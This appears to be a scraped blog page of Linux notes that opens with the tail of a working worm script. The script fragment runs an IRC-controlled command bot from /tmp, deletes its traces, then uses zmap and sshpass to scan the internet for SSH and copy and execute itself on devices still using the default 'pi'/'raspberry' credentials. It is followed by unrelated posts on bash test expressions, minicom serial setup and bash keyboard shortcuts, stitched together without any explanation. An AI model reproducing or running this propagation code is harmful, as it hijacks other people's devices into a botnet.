RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done

fi


Monday, June 12, 2017

brian's bash & script review

###convert "ANOTHER_SHIT" to "SOMETHINGANOTHER_SHITSOMETHING" if there is "SHIT"
/SHIT/s/ANOTHER_SHIT/SOMETHING&SOMETHING/g FOO.txt
###
#!bin/bash
read  FUCKERS
[ -e "$FUCKERS" ]
echo $?
ls -ld $FUCKERS
###
USER@56105 ~ $ [ 5 -ge 5 ] ; echo $?
0
USER@56105 ~ $ [ 5 -gt 5 ] ; echo $?
1
USER@56105 ~ $ [ 5 -le 5 ] ; echo $?
0
USER@56105 ~ $ X=5 ; [ $X -le 5 ] ; echo $?
0
USER@56105 ~ $ X=5 ; [ 5 -le $X ] ; echo $?
0
###
A=21 ; if [ $A -gt 20 ] ; then echo "FUK U BECKY" ; fi
###
root@6310:~# cat /etc/profile|egrep ^.{14}$
# /etc/profile
pathmunge () {
            ;;
            fi

###-a -o #and/ or
USER@56105 ~ $ A=5;[ $A -gt 3 -a $A -lt 11 ] ;echo $?
0
###
A=3 ; [ $A -gt 2 -a $A -lt 5 ] ; echo $?
A=a ; [ ! \( -f "$A" -o -d "$A' \) ] ; echo $?
ans=x ; [ "$ans" = 'Y' -o "$ans" = 'Y' ];echo $?
A=a ; [ ! \( -f "$A" -o -d "$A" \) ] ; echo $? #THIS ONE IS PRETTY FUCKED UP
A=3 ; [ \( $A -gt 2 \) -a \( $A  -lt 5 \) ] ; echo $?
[ ! -f "$A" -o -d "$A" ] ; echo $?
###
USER@56105 ~ $ A=3 ;if [ $A -gt 2 ]; then /T/BAE.sh ; else /T/SCP.DHT.txt.FROM.HOME.sh ; fi
LL



###convert some shit to following shit #MIND THE &
s/SOMETHING/SOMETHING&SOMETHING/g
########
56105 ~ # read dis
fuck\ u
56105 ~ # echo $dis
fuck u
56105 ~ #
###
set -o #list
set -o notify #enable
set +o notify #disable
###
shopt -p #list
shopt -s #enable
shopt -u #disable
###
a@56105 ~ $ PATH=$PATH:/home/a/ # PATH=/home/a/:$PATH
a@56105 ~ $ echo $PATH
/home/a/bin:/home/a/.local/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/a/
a@56105 ~ $ export PATH=/home/a/bin:/home/a/.local/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
a@56105 ~ $ echo $PATH
/home/a/bin:/home/a/.local/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Tuesday, May 23, 2017

minicom

dmesg -C: clear
plugin usb or something else
dmesg |grep tty
minicon -s
keep the tty* above in mind and run minicon
modify the tty* and set "Bps/Par/Bits" to 9600
"Save setup as dfl"
exit minicom
USER@e530:~$ minicom

<done>

####################################
USER@e530 ~ $ cat /etc/minicom/minirc.dfl
# Machine-generated file - use "minicom -s" to change parameters.
pu port             /dev/ttyUSB0
pu baudrate         9600
pu bits             8
pu parity           N
pu stopbits         1
pu rtscts           No

Friday, May 5, 2017

Bash Keyboard Shortcuts


Alt + bmove backward one word (or go to start of word the cursor is currently on)
Alt + ccapitalize to end of word starting at cursor (whole word if cursor is at the beginning of word)
Alt + ddelete to end of word starting at cursor (whole word if cursor is at the beginning of word)
Alt + fmove forward one word (or go to end of word the cursor is currently on)
Alt + lmake lowercase from cursor to end of word
Alt + tswap current word with previous
Alt + umake uppercase from cursor to end of word
Ctrl + ago to the start of the command line
Ctrl + bmove backward one character
Ctrl + cterminate the command
Ctrl + ddelete character under the cursor
Ctrl + ego to the end of the command line
Ctrl + fmove forward one character
Ctrl + gescape from history searching mode
Ctrl + hdelete character before the cursor
Ctrl + kdelete from cursor to the end of the command line
Ctrl + lclear the screen
Ctrl + qallow output to the screen (if previously stopped using command above)
Ctrl + rsearch the history backwards
Ctrl + sstops the output to the screen (for long running verbose command)
Ctrl + tswap character under cursor with the previous one
Ctrl + udelete from cursor to the start of the command line
Ctrl + wdelete from cursor to start of word (i.e. delete backwards one word)
Ctrl + xxmove between start of command line and current cursor position (and back again)
Ctrl + ypaste word or text that was cut using one of the deletion shortcuts (such as the one above) after the cursor
Ctrl + zsuspen­d/stop the command